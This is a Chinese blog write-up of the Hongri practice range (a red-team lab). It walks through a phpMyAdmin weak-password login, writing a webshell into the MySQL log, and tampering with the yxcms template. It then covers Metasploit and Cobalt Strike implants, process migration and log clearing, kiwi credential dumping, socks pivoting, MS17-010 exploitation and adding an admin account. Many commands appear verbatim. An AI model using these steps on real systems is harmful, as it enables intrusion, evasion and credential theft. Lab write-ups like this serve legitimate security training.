type
status
date
slug
summary
tags
category
icon
password
😀
闲着没事打了一下红日靶场,打了时间有点长(太菜了),便记录一下过程
 

📝 红日靶场

红日靶场

参考文章:

主机发现

受害主机: 192.128.52.128
kali: 192.128.52.129
win攻击机: 192.128.52.133 (192.168.235.145)
ubuntu攻击机器: 192.128.235.149
 

全端口扫描

 

tcp扫描

 
 

udp扫描

 
 

web服务

 

后台扫描

 

php探针:/

notion image
 
 

phpinfo:/phpinfo.php

notion image
 

phpmyadmin:/phpmyadmin

notion image
存在弱口令:root/root
 
查看是否有文件写入权限
notion image
 
查看是否有开启日志记录
notion image
显示未开启
 
手动打开
notion image
修改日志路径
notion image
 
访问/test.php
notion image
 
日志写马
notion image
这里其实是已经写进去了,一句话木马的重点在于木马执行,不要看到notice,没显示一句话木马就以为没有成功
 
使用蚁剑连接
notion image
在这里发现还有个站点yxcms
 
打开蚁剑终端查看权限
notion image
确认为系统权限
 

yxcms:/yxcms

notion image
文章后台,带默认账号密码
notion image
后台可以控制模板
notion image
此处可以修改模板代码,插入一句话木马
notion image
notion image
结合内容管理找到对应模板代码的位置
notion image
notion image
连接蚁剑
notion image
notion image

msf马

 
生成木马
蚁剑传马并且执行
notion image
msf监听
notion image
上线,getuid查看用户
ps可以查看马子的进程(shell.exe是后面的cs马)
notion image
这里看见马子msf.exe进程pid是1028
notion image
apache的进程是4440
notion image

进程迁移

notion image
为了防止目标服务器检查到我们上传的hack.exe木马,我们可以将进程迁移到其他正常进程,
这里我的hack.exe木马进程id是1028,Apache进程是4440
 
然后清除痕迹clearev
notion image
 

关闭防火墙

run post/windows/manage/enable_rdp
notion image
 

开远程桌面

rdesktop 192.168.52.128
notion image
notion image
 

抓取hash

 

使用kiwi(mimikazt平替)

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制
 
由于对象是64位win7,接下来要将进程迁移到其中一个64位程序
notion image
 
发现需要system权限后又转去了516进程
migrate 516
notion image
load kiwi
creds_all
notion image
 

msf搭建代理

①msf连接受害主机
②新建路由
run post/multi/manage/autoroute
notion image
查看路由
run autoroute -p
notion image
挂起会话,建立socks
background #挂起会话
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
options #查看使用的参数
exploit
notion image
成功后出现一个job(攻击任务)
notion image
jobs查看
notion image
修改proxychains.conf,如图
notion image
基本上参照上面你建立socks那一步的参数来添加进去
(其他教程用的是proxychains4.conf?我报错这里说用的是proxychans.conf)
notion image
使用代理只要像上面的指令前加上proxychains就可以了
 

扫描内网存活主机

use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1 #指定会话1(我图片指定了session2,session -l查看后台会话)
exploit
notion image
 
udp协议发现内网存活主机
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.168.52.0/24
exploit
notion image
 
结合来看,内网中有三台主机128(代理用的受害主机)、138、141
 

内网横移

不知道为什么我这一步扫出的端口很少
 
192.168.52.138
端口扫描
开放了25、110端口
扫描tcp:25,110端口
 
 
192.168.52.141
端口扫描
开放了25、110端口
扫描tcp:25,110端口
 

永恒之蓝(测试,不知道为什么445端口没扫出来)

扫描192.168.52.141发现存在永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.141
exploit
notion image
漏洞利用
第一次尝试失败,模块一
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.141
run
第二次尝试失败,模块二
发现只支持打64位系统,不支持32位
notion image
第三次尝试成功,模块三
notion image
 

新建用户‘hack’

net user hack qaz@123 /add #新建用户(要强密码并且不能包含用户名)
net user #查看用户
notion image
 
加入管理员组
set COMMAND net localgroup administrators hack /add
exploit
set COMMAND net localgroup administrators
exploit
notion image
 
 
后续开3386端口、使用telnet的过程没有成功。。。就不写上来了
 

其他

cs马

同样蚁剑传马,然后执行上线
sleep 0加快回显
由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快, 容易被发现。
notion image
 
shell systeminfo查看信息
notion image
notion image

抓取密码

notion image
 

探测内网存活主机

notion image
 
 
 

内网信息收集

 
notion image
该域名为god.org,域控为OWA$,域管理员为Administrator ,内网网段为192.168.52.1/24,我们用Ping命令探测域控的ip
 

域控ip

notion image
 

新增一个用户,并改为管理员

whami/Hongri
notion image
 

🤗 总结归纳

有很多地方还不够完善,比如端口扫描结果和其他教程的不一样(不知道是哪一步有问题),后续的维权没做完,开3386端口、使用telnet的过程没有成功等。。。

📎 参考文章

  • 一些引用
  • 引用文章
 
💡
有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~
hyper-v虚拟机连接vmware虚拟机aira2使用分享